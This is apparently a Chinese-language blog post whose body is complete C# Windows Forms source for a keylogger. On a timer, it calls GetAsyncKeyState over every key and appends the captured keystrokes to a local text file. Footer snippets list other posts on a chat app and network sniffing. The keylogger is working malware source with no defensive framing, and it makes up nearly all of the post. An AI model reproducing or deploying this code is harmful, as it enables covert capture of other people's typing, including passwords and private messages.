using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
namespace keylogger
{
public partial class Form1 : Form
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vkey);
public Form1()
{
InitializeComponent();
timer1.Start();
}
string text = "";
private void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
buffer += Enum.GetName(typeof(Keys), i);
}
}
text += buffer;
if (text.Length > 10)
{
writeTotext(text);
text = "";
}
}
private void writeTotext(string value)
{
StreamWriter stram = new StreamWriter("Pokus.txt", true);
stram.Write(value);
stram.Close();
}
}
}
2017年12月21日 星期四
訂閱:
張貼留言 (Atom)
WPF聊天室应用(ASP.NET Core SignalR)
WPF聊天室应用(ASP.NET Core SignalR) https://www.bilibili.com/video/BV1Q741187Si?p=2 https://www.bilibili.com/video/BV1UV411e75T?from=search...
-
https://dotblogs.com.tw/v6610688/2015/02/19/iis_office_access_word_excel_com_interop_api_configuration https://dotblogs.com.tw/gelis/archi...
-
key: Network Sniffer in .NET https://www.google.com/search?q=Network+Sniffer+in+.NET&oq=Network+Sniffer+in+.NET&aqs=chrome..69i57...
-
https://www.itread01.com/content/1548987697.html Winpcap網路程式設計一之前言,實驗要求,實驗目標 其他 · 發表 2019-02-01 ads Hi,大家好,現在計算機網路課程設計開始啦,本...
沒有留言:
張貼留言